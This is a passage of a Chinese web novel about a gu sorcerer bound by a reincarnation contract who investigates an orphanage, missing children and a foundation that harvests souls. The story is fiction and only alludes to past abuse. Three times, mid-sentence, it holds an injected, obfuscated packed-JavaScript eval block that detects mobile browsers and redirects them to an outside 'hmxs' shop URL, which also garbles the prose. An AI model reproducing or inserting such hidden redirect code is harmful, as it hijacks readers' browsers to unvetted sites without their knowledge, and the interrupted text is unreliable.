夜色深沉,巷子里几乎没有人。路灯的光晕在青石板上投下一个个黄色的圆圈,像一个个孤岛。 走到孤儿院门口时,他停下了脚步。 二楼的窗户,秦院长的房间还亮着灯。 这么晚了,她还没睡? 君荼白推开门,走进院子。夜风很凉,吹得院子里的老树沙沙作响。他刚走到楼门口,一楼的灯突然亮了。 秦院长披着外套站在门内,手里端着一杯热水。 “小君,回来了?”她的声音很平静。 “秦院长还没睡?” “人老了,觉少。”秦院长让开身,“进来坐坐?我有话想跟你说。” 君荼白心头一紧,面上却不动声色:“好。” 两人在客厅坐下。秦院长把热水递给他,自己坐在对面的椅子上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052007|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯光下,老太太的脸显得格外苍老,眼角的皱纹像刀刻一般深。 “小君,”她缓缓开口,“你来这里,真的只是为了工作吗?” 君荼白握紧水杯:“秦院长为什么这么问?” “因为我见过很多人。”秦院长的目光很锐利,“见过真的想帮助孩子的人,见过只是为了混口饭吃的人,也见过……另有所图的人。” “您觉得我是哪一种?” “我不知道。”秦院长摇头,“但你给我的感觉,和他们都不同。你看着孩子们的时候,眼神里有种……我形容不出来的东西。像是愧疚,又像是怕失去。” 君荼白沉默。 “还有,”秦院长继续说,“昨晚小玲告诉我,你问她关于地底声音的事。” 君荼白心头一震。小玲答应过不告诉别人…… “别怪那孩子。”秦院长似乎看穿了他的想法,“是我看出她有心事,逼问出来的。她一直做噩梦,我一直以为只是心理创伤,但你说你能听见……是真的吗?” 君荼白看着她的眼睛,那里面有担忧,有疑虑,还有一种深藏的恐惧。 “是真的。”他最终说,“我能听见。” 秦院长的脸色瞬间白了。 “所以那些传言……”她的声音发抖,“是真的?这栋楼底下……真的有东西?” “我不确定是什么。”君荼白说,“但我能感觉到,地底下有强烈的情绪——痛苦、绝望、愤怒。秦院长,这栋楼在改成孤儿院之前,您知道它具体是做什么的吗?” 秦院长沉默了很长时间。 “我买下这里的时候,中介说是个废弃的仓库。”她低声说,“但搬进来后,我就发现不对劲。孩子们做噩梦,晚上听到怪声,还有……还有那些捐赠。” “捐赠?” “晨星基金会。”秦院长苦笑,“每年固定二十万,准时到账。我最初很感激,但后来觉得奇怪——他们从不派人来考察,从不要求看孩子们的照片和报告,甚至连收据都不要。就像……就像只是为了给钱而给钱。” 君荼白的心跳加快了。 陈子轩。晨星基金会。 这两个名字在他脑中建立起联系。 如果陈子轩真的是基金会的客户或合作者,那他用子母蛊想要控制的“容器”,很可能就是这些孩子中的一个。 “秦院长,”他轻声问,语气比刚才更严肃,“孤儿院有没有……失踪过孩子?” 秦院长的身体明显僵住了。 客厅里的空气仿佛凝固了。 良久,老太太才缓缓点头,声音几乎听不见:“……有。” “几个?” “两个。”秦院长的眼眶红了,“一个叫陈小雨,一个叫赵明辉。都是在雨夜……不见的。我报了警,警察查了很久,没找到。后来……后来基金会给我打了电话。” “他们说什么?” “他们说,孩子是被领养了,手续不正规,所以没通过院里。”秦院长的眼泪掉下来,“他们让我别声张,说会给我补偿。我不肯,他们就说……就说如果我说出去,孤儿院就办不下去了。” 君荼白感到一阵寒意。 用孤儿院做掩护,用捐赠封口,继续那些肮脏的勾当。 “从那以后,我就知道这地方不干净。”秦院长擦掉眼泪,“但我能怎么办?把这些孩子赶出去?让他们流落街头?我只能装作什么都不知道,尽量对孩子们好一点,希望……希望那些事不要再发生。” “那您为什么还让我留下来?” “因为小玲。”秦院长看着君荼白,“那孩子跟我说,你不一样。你能听见那些声音,你愿意相信她。我想……也许你能帮我们。” 君荼白感到肩上的担子沉甸甸的。 “秦院长,”他说,“三天后,11月15日,基金会的人可能会来。到时候,我希望您能配合我。” “你想做什么?” “我想看看,他们到底要在那个地下室里做什么。”君荼白的声音很平静,“然后,结束这一切。” 秦院长盯着他看了很久。 “你到底是什么人?”她问。 君荼白挽起左袖,露出那道月牙形的疤痕。 “我是一个本该死在很多很多年前的人。”他说,“但因为一个契约,我活了很多次。而现在,是最后一次了。” 他说“最后一次”时,想起了陆予瞻的眼泪,想起了沈鉴实验室里那些冰冷的仪器,想起了周屹沉默的背影。 他们为了他,已经背负了太多。 这一次,必须结束。 “我想知道真相。”君荼白的声音很坚定,“关于这栋楼,关于地下室,关于那些失踪的孩子。但您必须答应我,无论发生什么,都要保护好孩子们。” 秦院长盯着他看了很久,然后缓缓点头。 “好。”她说,“我答应你。” 回到房间,君荼白站在窗前,看着夜空。 没有月亮,只有几颗稀疏的星星。远处传来雷声,要下雨了。 手腕上的疤痕又开始发烫。 这一次,他闭上眼睛,任由那些记忆碎片涌上来。 第一世。黑暗。铁链。血腥味。 还有那个声音,那个在记忆深处回荡的声音: “签了这份契约,你就能活下去。” “但代价是,你会忘记这一切,一次又一次地回来。” “直到147个灵魂得到安息。” 他猛地睁开眼,大口喘气。 轮回契约。 原来从一开始,就是他自己的选择。 为了活下去,为了复仇,他签下了那个契,用147世的轮回,换取一个终结的机会。 而现在,第147世,他回来了。 带着所有的记忆,所有的痛苦,所有的执念。 手机震动起来,是陆予瞻的短信: “沈鉴又找到一些资料,关于契约的。明天见面?老地方。” 君荼白回复:“好。另外,秦院长已经知道一部分真相了。她答应配合。” 陆予瞻很快回复:“要小心。不要完全相信任何人。” “包括你们吗?” 这次,陆予瞻隔了很久才回复: “至少不包括我。” 窗外,第一滴雨落了下来。 砸在玻璃上,留下一条长长的水痕。 像眼泪。 12. 契约 雨下了一整夜。 君荼白几乎没睡。每当闭上眼睛,那些记忆碎片就像潮水一样涌来,夹杂着地底深处的呜咽声,还有契约签订时那个冰冷的声音。 君荼白独自走回孤儿院。 巷子深处传来野猫的嘶叫,混在雨声里像婴儿的啼哭。手腕上的疤痕持续发烫,那种灼热感如今已能被他的意识精细地解读——是蛊虫在皮下共鸣的频率,是他一百四十七世轮回积累的巫力在血脉中流动的痕迹。 他停下脚步,在雨中抬起左手。月牙疤痕在昏暗路灯下泛着暗银色的光晕,像一弯浸在血泊中的残月。 他已经是个成熟的巫蛊师了。沈鉴上个月测试他时说过:“你对蛊虫的共鸣感已达秦牧手札记载的‘入微’之境。这一世,你终于完整继承了那份力量。” 力量的代价是记忆。是每一世都清晰刻在灵魂里的肮脏的触感、铁锈味的气息、还有黑暗里无数双贪婪的眼睛。 君荼白闭上眼,雨水打湿睫毛。 那些令人作呕的记忆,从第一世的仓库,追溯到更早的童年——那个领养家庭,那个名义上的“养父”。这些记忆像藤蔓一样缠死了他情感生长的可能。他像一座孤岛,四周环绕着冰冷的海水,任何试图靠近的船只都会撞上暗礁。 脚步声在身后响起。 君荼白浑身肌肉瞬间绷紧,蛊虫在皮下警觉地游动。但下一秒,他从脚步频率认出来人——陆予瞻。 他转身,看见陆予瞻撑着伞站在几步外,保持着恰到好处的距离。 “你怎么来了?”君荼白问,声音比预想的平静。 “确认你安全。”陆予瞻说,目光落在他抬起的手腕上,那是职业性的观察,“蛊力在共鸣……你感觉到了什么?” 君荼白放下手,恢复成惯常的站姿:“地下室里的东西在呼唤。不只是怨念,还有……某种结构。” “结构?” “像一座监狱的门。”君荼白斟酌着词汇,“沈鉴说的‘镜渊’……我好像能摸到一点门道了。” 陆予瞻的眼神瞬间变得锐利:“你想开启镜渊?” “沈鉴的理论如果成立,那是唯一能救他们的方法。”君荼白看向孤儿院的方向,“147个孩子,肉身死了,灵魂还被囚禁在那里受苦。如果镜渊真的能创造一个‘灵魂暂存’的空间……” “代价呢?”陆予瞻打断他,声音里带着罕见的紧绷,“秦牧手札最后一页写着什么,你还记得吗?” 君荼白记得。那几个朱砂大字,殷红如血: “镜渊之门,以魂为钥,以命为薪。开之易,阖之难。” “我记得。”君荼白说,“但沈鉴认为,如果是我们四人共同分担,加上一百四十七世积累的因果,或许……” “或许会让我们四个人一起被困在里面?”陆予瞻的声音压得很低,像是在克制什么。他上前半步,但又立刻停住,伞沿的雨水串成珠帘,隔在两人之间。 沉默在雨夜蔓延。 君荼白看着陆予瞻——这个男人记得他每一世的死亡,为他染上血腥,为他失眠了一百多年。陆予瞻看他的眼神,君荼白并非不懂。那眼神里除了关切,还有一种更深的东西,一种君荼白无法回应、也不愿深究的东西。 他的灵魂早就被那些肮脏的记忆泡得发皱,任何过于靠近的温度,都会让它蜷缩得更紧。 “我会谨慎。”君荼白最终说,声音冷淡而专业,像在讨论一个实验方案,“三天后先探查,再决定。” 陆予瞻注视他几秒,然后点头:“好。我会带秦牧留下的‘镜渊阵图’来。但要不要用,由你决定。” “当然。”君荼白转身朝孤儿院走去。 走了十几步,他听见陆予瞻在身后说:“荼白。” 他停下,但没有回头。 “不管地下室有什么,”陆予瞻的声音穿过雨幕传来,平静,克制,但每个字都带着重量,“我们都在。” 君荼白的喉结动了动。 他没有回答,只是抬起手,摆了摆,示意听见了。 然后快步走进巷子深处。 手腕上的蛊印烫得像要烧起来。 天快亮时,雨势渐小。他走到窗边,看见秦院长已经打着伞在院子里检查排水——昨晚的雨太大,院子角落已经积了一小片水洼。 “君叔叔。” 门口传来小玲的声音。君荼白转过头,看见女孩抱着一个旧布偶站在门外,眼睛下方有两团明显的乌青。 “又没睡好?” 小玲点头:“昨晚……声音特别大。好像在吵架,很多人在吵架。” 君荼白心头一紧:“你能听清他们在说什么吗?” “听不清。”小玲摇头,“但很凶,很可怕。后来……后来我听到了你的名字。” “我的名字?” “嗯。”小玲走进房间,压低声音,“他们在喊‘君荼白’。然后有个声音说……说‘时间快到了’。” 时间快到了。 君荼白想起陆予瞻的话——今年是第147年,也是契约约定的最后期限。 如果在这一世不能终结轮回,会发生什么? 他不知道。 但他有种预感,绝对不会是什么好事。 “小玲,”他蹲下身,看着女孩的眼睛,“如果接下来几天,院里来了陌生人,你要答应我一件事。” “什么事?” “不要单独和他们在一起。”君荼白说,“不管他们说什么,都不要跟他们走。如果他们要带你出去,一定要告诉秦奶奶或者我。” 小玲认真点头:“我答应你。” “真乖。”君荼白摸摸她的头,“去准备上学吧,要迟到了。” 女孩离开后,君荼白简单洗漱,下楼吃早饭。 餐厅里气氛有些压抑。几个孩子显然也没睡好,无精打采地扒着粥。秦院长虽然努力维持着平常的笑容,但眼里的忧虑藏不住。 “秦奶奶,”一个男孩问,“今晚还会下雨吗?” “气象台说今晚还有雨。”秦院长给他夹了块咸菜,“不过没关系,咱们楼结实,不怕下雨。” “可是我害怕。”男孩小声说,“每次下雨,楼里就有怪声音。” 其他几个孩子也跟着点头。 秦院长看了君荼白一眼,然后说:“那是因为下雨天,老房子的水管和木头会热胀冷缩,发出声音。这样吧,今天晚上,君叔叔给大家讲睡前故事,好不好?” 孩子们的眼睛亮了:“好!” 君荼白愣了一下,随即点头:“好,我准备几个故事。” 他知道,这是秦院长在给他创造机会——晚上讲故事,可以名正言顺地待在孩子们房间附近,观察动静。 --- 第二天午后,城南咖啡馆。 沈鉴带来了完整的“镜渊计划”资料,摊在桌面上。周屹坐在靠门的位置警戒,陆予瞻沉默地看着窗外,手指无意识地敲击桌面——那是他思考时的习惯动作。 “这是秦牧手札中关于‘镜渊’的全部记载。”沈鉴推了推眼镜,指向一张复杂的阵图,“从科学角度解释,镜渊可能是一个基于集体意识与蛊术能量构建的‘亚空间’。它并非传统意义上的维度,而更像……一个记忆与灵魂的收容所。” 君荼白仔细看着阵图。中央是一个漩涡状的符文,四周延伸出147条细线,每条线末端都有一个名字——正是那份名单上的147人。 “你的理论是,”君荼白抬头,“我能用蛊术开启这个空间,把他们的灵魂从禁锢中转移出来?” “不是转移,是‘投影’。”沈鉴纠正,“他们的灵魂主体仍被困在原地,但我们可以通过镜渊,创造一个他们的‘镜像存在’出来。通过这个镜像媒介,他们不会感受到痛苦,不会互相吞噬,甚至可以……拥有某种程度的‘生命体验’。” 陆予瞻停止敲击桌面,转向沈鉴:“然后呢?让灵魂不全的他们永远困在地下室里?” “这比他们现在的状态好。”沈鉴冷静地说,“现在的他们,灵魂碎片在镜渊里互相撕咬,痛苦是永恒的。出来至少能给他们安宁。” “代价是什么?”君荼白问出关键问题。 沈鉴沉默了一下,翻开手札的另一页。 上面画着四个小人,站在漩涡的四个方位。每个人的心口都延伸出一条线,连接到漩涡中心。 “四魂为柱,撑镜渊之穹。” 旁注写道,“柱损,则渊崩。” “我们需要四个人作为‘支柱’。”沈鉴说,“你、我、陆予瞻、周屹。我们四个与契约绑定的人,用灵魂之力支撑镜渊的稳定。一旦开启,我们就与镜渊绑定。如果其中一人死亡或灵魂受损……” “镜渊就会崩塌。”君荼白接道,“里面的147个镜像也会消散。” “对。”沈鉴点头,“而且支柱本人,会永远损失一部分灵魂——大概是十分之一到五分之一,取决于镜渊的规模和稳定时间。当然,还有另一种方法……但我没有学会” 咖啡馆里陷入沉默。 周屹忽然开口:“我同意。” 陆予瞻和君荼白同时看向他。 “我弟弟,”周屹的声音很平静,但握着杯子的手背青筋暴起,“那份名单上第86个,周屿。他死的时候十一岁。” 他看着君荼白:“如果能让他有个地方安息,哪怕代价是我的灵魂。我愿意。” 陆予瞻闭上眼睛,深吸一口气。 “沈鉴,”他问,声音恢复了平日的冷静,“这个镜渊能维持多久?” “理论上是永久,只要支柱还在。”沈鉴说,“但实际上,秦牧在手札里警告过:镜渊会不断汲取支柱的生命力来维持运转。我们可能会……折寿。” “折多少?”君荼白问。 “不确定。”沈鉴坦诚,“秦牧自己没试过。他留下这个理论,是因为他那个时代,有147个孩子死在一场瘟疫里,他没能救活他们。这是他设计的……赎罪方案。” 君荼白靠向椅背,看着窗外渐大的雨势。 折寿。损失灵魂。永远绑定。 但能救147个孩子,让他们脱离永恒的痛苦。 “如果不开镜渊,”他问,“还有其他方法吗?” “有。”沈鉴的声音低下来,“超度。用你的蛊术,配合特定的仪式,强行净化他们的灵魂,送他们进入轮回。但问题是——” “他们已经不是完整的灵魂了。”君荼白替他说完,“被那个组织反复切割、利用,灵魂早就碎成片了。强行超度,大部分会魂飞魄散,连轮回都进不去。” 沈鉴点头。 陆予瞻睁开眼睛,目光清明,那是他作为队长做决策时的眼神:“所以是两个选择:要么开镜渊,让他们以镜像形式‘活’着出来,我们付出代价;要么尝试超度,但大概率会彻底毁灭他们。” 君荼白的手指无意识地摩挲着左手腕的疤痕。 蛊虫在皮下轻轻蠕动,像是在回应他的思绪。 “我们需要更多信息。”他最终说,声音里带着巫蛊师特有的冷静,“三天后,进地下室。我要亲眼看看镜渊里他们的灵魂到底碎成了什么样子,还有没有其他可能。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052008|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “同意。”陆予瞻说,“但在那之前……” 他看向沈鉴,完全切换到工作模式:“陈子轩那边有什么动静?” “他们在做‘逆契约’。”沈鉴说,“不是那种共生,而是掠夺。他们捕获亡魂,提取能量,转移到自己或客户身上。但这个过程需要‘容器’——也就是活人媒介。那两个失踪的孩子,很可能就是被当成了容器。” 君荼白想起小玲说的“吵架”。 原来不是吵架。 那是无数亡魂在容器里挣扎、嘶吼、互相吞噬的声音。 “陈子轩……”君荼白问,“他们是不是想通过这种仪式,获得永生?” 沈鉴调出一份交易记录:“从资金流向看,陈子轩支付了天价费用,要求参与一次‘高阶仪式’。基金会给他的承诺是:‘一次仪式,可延寿二十年’。” “用别人的命,换自己的寿命。”陆予瞻的声音很冷,“这就是他们的生意。” “所以三天后,”君荼白说,“陈子轩可能也会来?” “极有可能。”沈鉴说,“根据基金会内部通讯的截获,11月15日晚上的仪式,有一位‘VIP客户’参与。所有条件都与陈子轩吻合。” “不,他确认会出席满月之夜的仪式。”沈鉴调出监控截图,“他以‘观摩学习’的名义加入,但根据基金会内部通讯,他实际上想……亲自主持一次‘能量提取’,目标就是孤儿院地下室的147个灵魂。” “他疯了。”周屹冷声道,“那147个灵魂的怨念加起来,足以反噬任何施术者。” “除非他有特殊的防护手段。”沈鉴说,“我查到,他从老鬼那里除了子母蛊,还买了一件‘魂甲’——用九个横死之人的头骨炼制,据说能抵挡灵魂反噬。” 君荼白感到一阵生理性的厌恶。 用死人的骨头,去剥削更多死人。 “所以三天后,”陆予瞻总结,声音平稳有力,“我们要面对两件事:一是基金会要进行的常规‘采集’,二是陈子轩可能尝试的‘大规模提取’。而我们的目标是:第一,阻止他们;第二,探查灵魂状态;第三,决定是否启动镜渊计划。” “还有第四,”君荼白补充,他的思维已经完全沉浸在对策分析中,“保护小玲和其他孩子。如果陈子轩需要‘活体媒介’,他可能会对孩子下手。” “秦院长那边已经安排好了。”陆予瞻说,“满月之夜,她会带孩子们去市区过夜,周屹全程保护。” “那你和沈鉴?”君荼白问。 “我们和你一起进地下室。”陆予瞻看着他的眼睛,那是战友之间的对视,“这是最后一段路了。我们一起走完。” 君荼白看着桌边的三人。 还有他们之间,那根看不见的、缠绕了一百四十七世的契约之线——更沉重、也更坚固的东西:誓约、责任、和共同背负的罪与罚。 “好。”他说,“一起走完。” 离开咖啡馆时,雨势更大了。 君荼白站在屋檐下,看着雨水在路面溅起的水花。陆予瞻走到他身边,递给他一把伞。 “荼白。”陆予瞻忽然开口,声音很平静。 君荼白转头看他。 陆予瞻注视着他,眼神复杂——有关切,有担忧,还有一种没办法忽视的情感,但最终,所有这些都被克制成一句简洁的话: “活着回来。” 君荼白点点头,接过伞:“你也是。” 他撑开伞,走进雨里。 没有回头。 陆予瞻站在原地,看着他的背影消失在雨幕中。手指无意识地蜷紧,又松开。 沈鉴走到他身边,低声说:“他不会注意到的。” “我知道。”陆予瞻说,声音很轻,“这样最好。” 一百四十七世了,他早就学会把那些不该有的情感,压成最坚硬的基石,用来支撑他们共同要走的路。 至于其它——不重要。 雨幕中,君荼白走向孤儿院。 手腕上的蛊印持续发烫,蛊力在血脉中奔流。他的思绪已经完全投入到三天后的行动中:地下室结构、灵魂状态、镜渊阵图、陈子轩的魂甲…… 那些肮脏的记忆被暂时压下,像沉入深海的石头。 他是个巫蛊师,背负着147个灵魂的救赎。 这才是他的路。 而他不知道的是,在他身后,沈鉴站在咖啡馆窗边,看着他的背影,低声对通讯器说: “他的蛊力已达到临界点。满月之夜,镜渊之门……或许真的能开启。” “但代价,”通讯器里传来一个苍老的声音——如果君荼白在,他会认出那是秦牧残魂的声音,“是他会记起一切。所有147世的痛苦,所有被残害的细节,所有他为了保护自己而封印的记忆。” “他会崩溃吗?”沈鉴问。 “不知道。”秦牧的声音很轻,“但这是他选择的最后一段路。要么带着全部记忆站起来,要么……被记忆淹没。” 沈鉴沉默了很久。 然后他说:“我们会接住他。” “那就去吧。”秦牧说,“一百四十七世的轮回,该结束了。” 通讯切断。 沈鉴看着窗外的大雨,推了推眼镜。 科学解释不了蛊术,解释不了镜渊,解释不了灵魂。 但有一件事他很确定:有些誓约,值得用一百四十七世去履行。 哪怕最后要付出的,是一部分灵魂和寿命。 他收起资料,走进雨里。 决战前夜,还剩三天。 13. 满月前夜 满月前一日。 雨从昨夜起就未停歇,时急时缓,孤儿院二楼,君荼白站在窗前,左手掌心朝上,三只银白色的蛊虫静静伏在皮肤上,细如发丝的身体随着他的呼吸微微起伏。 这是他这一世培育的“探魂蛊”。 与那些阴邪害人的蛊虫不同,探魂蛊以施术者自身精血为食,性情温顺,唯一的能力是感知灵魂波动。此刻,三只蛊虫的头端都微微转向楼下——确切地说,是转向储物间地板之下的方向。 “怨念浓度又升高了。”君荼白低声自语。 他能感觉到,地底那些破碎的灵魂正在躁动。就像囚徒嗅到了行刑日的血腥味,绝望愤怒地冲击着禁锢它们的“墙壁”。 手腕传来持续的热度。他的蛊力与地底的怨力之间,正建立起某种危险的联系。 “君叔叔。” 门口传来小玲的声音。君荼白手掌一翻,蛊虫悄无声息地钻回袖中。他转身,看见女孩抱着那个旧布偶站在门外,脸色比昨天更苍白。 “又没睡好?” 小玲点头,走进房间,反手轻轻关上门:“昨晚……我听见他们在唱歌。” “唱歌?”君荼白一怔。 “嗯。”小玲的声音很轻,带着孩童特有的那种诡异平静,“好多声音一起唱,但唱得很乱,有的快有的慢……就像好多人被困在不同的时间里,拼命想合在一起,但合不上。” 君荼白的心沉了下去。 灵魂碎片的时间感错乱,这是灵魂结构严重受损的典型特征。那些孩子死后,灵魂被切割、重组、反复利用,已经失去了统一的“时间轴”。 “他们还说了什么吗?”他蹲下身,保持视线与小玲平齐。 “有一个声音一直在数数。”小玲说,“从1数到147,然后又从头数。但每次数到86的时候,就会停很久,然后哭。” 86。 周屹的弟弟,周屿。 君荼白想起昨天周屹说“我愿意”时的眼神。那个沉默的男人,等了一百四十七世,终于等到了弟弟灵魂的讯息,哪怕那讯息只是一串数字和哭声。 “小玲,”君荼白认真地看着女孩,“明天晚上,秦奶奶会带你们去市区住。你要答应我,无论发生什么事,都跟紧秦奶奶和周叔叔,不要回头,不要回来,好吗?” “那你呢?”小玲问。 “我留下来处理一些事情。” “是处理那些唱歌的人吗?” 君荼白沉默了一下,点头:“对。” “你会救他们吗?” “我会尽力。”这是君荼白能给出的最诚实的答案。 小玲盯着他看了很久,然后从布偶的背后掏出一个东西——那是一张折得很小的纸片,边缘已经磨损,纸面泛黄。 “这个给你。” 君荼白接过纸片,小心展开。纸上用蜡笔画着一幅画:一个红色的房子(笔法稚嫩,但能看出是孤儿院),房子下面画了很多个小人,全都用黑色的线圈着。房子的门是敞开的,门外站着一个高高的人影,人影的手腕上,画着一个弯弯的月亮。 画的右下角,写着一行歪歪扭扭的字:“带他们出来。” “这是谁画的?”君荼白问。 “陈小雨。”小玲说,“她失踪前一个星期给我的。她说她每天晚上都梦到这幅画,就画下来了。” 陈小雨。五年前在雨夜失踪的女孩,九岁。 君荼白仔细看着画。那个高高的人影……手腕上的月亮。那是指他吗?还是指某个“手腕有月牙印记”的人? “陈小雨还说过什么吗?” “她说……”小玲努力回忆,“她说地下有很多房间,每个房间都关着人。但有的人关了很久很久,都快忘记自己是谁了。她说她想打开那些房间的门,但钥匙被一个‘穿黑衣服的叔叔’拿走了。” 穿黑衣服的叔叔。 君荼白想起昨晚基金会来的那两个男人,都穿着灰色西装。但五年前……会不会是陈子轩?或者基金会更早的“工作人员”? “这张画能借我用一下吗?”君荼白问。 小玲用力点头:“小雨说,如果有一天有人来救他们,就把画给那个人。君叔叔……你是那个人吗?” 君荼白看着女孩清澈的眼睛,那双眼睛里混合着恐惧、希望,还有一种超越年龄的沉重。 “我不知道我是不是。”他诚实地说,“但我会尽力成为那个人。” 小玲笑了,那是君荼白第一次看到她笑得这么轻松。 “我相信你。”她说,“因为你眼睛里有光。和秦奶奶一样的光。” 女孩离开后,君荼白对着那张画看了很久。 然后他拿出手机,拍下画的照片,发给沈鉴。附言:“五年前失踪者陈小雨所画。分析一下。” 沈鉴几乎秒回:“收到。已纳入建模。另外,镜渊阵图已准备完毕,需要你确认几个能量节点。” 紧接着发来一张复杂的电子图纸,上面标注了密密麻麻的符文和能量流向。 君荼白坐到书桌前,开始仔细研究。 下午两点,城西旧写字楼。 沈鉴的实验室里多了几台新设备。最大的那台像个核磁共振仪的缩小版,中央悬空着一个透明的球形容器,里面漂浮着淡淡的银色雾气——那是经过提纯的“灵质”,秦牧手札里记载的、构建镜渊的基础材料。 “按照秦牧的理论,镜渊需要四个支柱提供‘锚点能量’,以及一个‘编织者’负责构建空间结构。”沈鉴指着屏幕上的三维模型,“你是编织者的最佳人选,因为你的蛊力能与灵魂直接共鸣。” 君荼白看着模型中央那个旋转的银色漩涡:“如果我在编织过程中被反噬……” “我们会立刻切断能量供应。”陆予瞻的声音从门口传来。他走进来,手里拿着一个黑色的金属箱,看起来比昨天更疲惫,“周屹在外面警戒。孤儿院周围已经清理过,没有发现可疑监视。” “基金会的人呢?”君荼白问。 “按兵不动。”陆予瞻把金属箱放在工作台上,打开,里面是四副特制的腕带,腕带中央嵌着暗红色的宝石,“这是沈鉴设计的‘灵魂缓冲器’。戴上后,如果遭遇大规模灵魂冲击,能吸收第一波伤害,给我们争取切断连接的时间。” 君荼白拿起一副腕带。宝石触手温润,里面似乎有液体在缓缓流动。 “这是什么?” “我的血,你的血,沈鉴和周屹的血,混合后加入了稳定剂。”陆予瞻说得很平静,“秦牧手札记载,血脉相连者的血液能增强契约者的共鸣效率。我们四个……应该够了。” 君荼白看着腕带,又看向陆予瞻:“你抽了多少血?” “够用。”陆予瞻避而不答,“重点是你的状态。沈鉴说你的蛊力已达临界点,这意味着你在编织镜渊时,可能会……” “会记起所有事。”君荼白接上他的话,“我知道。秦牧的残魂警告过了。” 实验室里安静了几秒。 沈鉴推了推眼镜,打破沉默:“从神经科学角度,记忆复苏是一个不可逆的神经重构过程。一旦开始,你可能会经历短期的认知混乱、闪回、甚至人格解离。我们需要预案。” “我有预案。”君荼白说,“如果我在编织过程中失控,陆予瞻负责立刻打晕我,沈鉴接管镜渊的能量稳定,周屹……保护现场,防止任何外人介入。” 陆予瞻的眉头皱起:“打晕你?” “这是最直接有效的方法。”君荼白的声音很冷静,“蛊力运作需要意识引导。失去意识,蛊虫会进入休眠状态,镜渊编织会中断。” “但如果中断时机不对,空间结构可能会崩塌,反噬会……” “那也比让我彻底疯掉好。”君荼白看着陆予瞻,“队长,这是命令。” 陆予瞻的身体僵住了。 “队长”这个称呼,是第一世他们还在警队时君荼白对他的称呼。这一百多世里,君荼白只在最严肃、最危险的时刻才会这样叫他。 “……明白了。”陆予瞻最终说,声音低沉,“我会执行命令。” 沈识地没有插话,只是默默调整着设备参数。 “还有一件事。” 陆予瞻从金属箱底层取出一个小巧的玻璃瓶,里面悬浮着一条银白色的蛊虫,盘绕成环状,在营养液中缓慢蠕动,“忘川蛊,培育成功了。” 君荼白的目光落在玻璃瓶上。 那条蛊虫看起来很温顺,但它的存在本身就是一种“污染”——它会侵蚀记忆,会抹去一个人最深的执念。这种蛊术在秦牧的传承中被列为禁忌,因为篡改记忆触及了人性最根本的部分。 “针对陈子轩的?”君荼白问。 “对。”陆予瞻点头,“沈鉴分析了他所有的公开演讲和私下录音,确定他最大的执念就是‘永生’。他想通过基金会的仪式,从那些孩子的灵魂里榨取生命能量,延长自己的寿命。” “所以我们要让他忘记这个执念。”君荼白明白了,“变成一个不再追求永生的普通人。” “理论上如此。”沈鉴接过话,“但实际操作很困难。陈子轩身边至少有六个保镖,全天候保护。他本人也极其谨慎,所有饮食都经过检测。想要下蛊,必须找到他毫无防备的瞬间。” “满月之夜。”君荼白说,“他要主持仪式,注意力会集中在灵魂提取上。那是他防备最松懈的时候。” “也是最危险的时候。”陆予瞻看着君荼白,“如果陈子轩会巫蛊之术他应该也会记得你,那么你见到他时,可能会触发严重的生理反应。这会让你在下蛊时暴露。” 君荼白的手指收紧。 他想起了那些记忆碎片——仓库里,那个戴着金丝眼镜的男人,总是用最温和的语气说出最残忍的话。那只戴着白手套的手,曾经…… 胃部传来一阵剧烈的痉挛。 君荼白猛地转过身,扶住工作台边缘,冷汗瞬间浸湿了后背。 “荼白?”陆予瞻快步上前,但在触碰到他之前又停住了——他知道君荼白厌恶身体接触。 “我没事。”君荼白咬紧牙关,强迫自己呼吸,“只是……精神不太好。” 那些画面:金属工具在灯光下反光,白色手套上沾染的暗红,还有那个男人俯身在他耳边说的:“你求我,我就让你少受点罪。” 求了。但他没有停下。 那些记忆像无数根针,扎在神经末梢。光是想到要再次见到那张脸,君荼白就感到一阵生理性的恶心,仿佛有什么东西要从喉咙里涌出来。 “忘川蛊……我来下。”他最终说,声音有些发颤,但很坚定,“他对我做过那些事,我有权利亲手了结。” “但你的状态……”沈鉴担忧地说。 “我会控制住。”君荼白直起身,脸色苍白,但眼神锐利,“这一百多世,我学会了一件事:仇恨可以成为最有效的镇静剂。我会完成我该做的事。” 陆予瞻沉默了很长时间。 “好。”他最终说,“但我们会在附近。如果你失控,我们会接手。” “成交。”君荼白接过装忘川蛊的玻璃瓶,小心地收进贴身口袋。 玻璃瓶贴着胸口,冰冷的触感让他打了个寒颤。 忘川蛊。能让人忘记最深的执念。 如果当年有这样的蛊虫,是不是很多事情都不会发生? 但这个念头只是一闪而过。现在不是后悔的时候,现在是准备的时候。 “还有一件事。”沈鉴调出另一份文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052009|194818||http|test|mini|href|location''.split(''|''),0,{})); () { 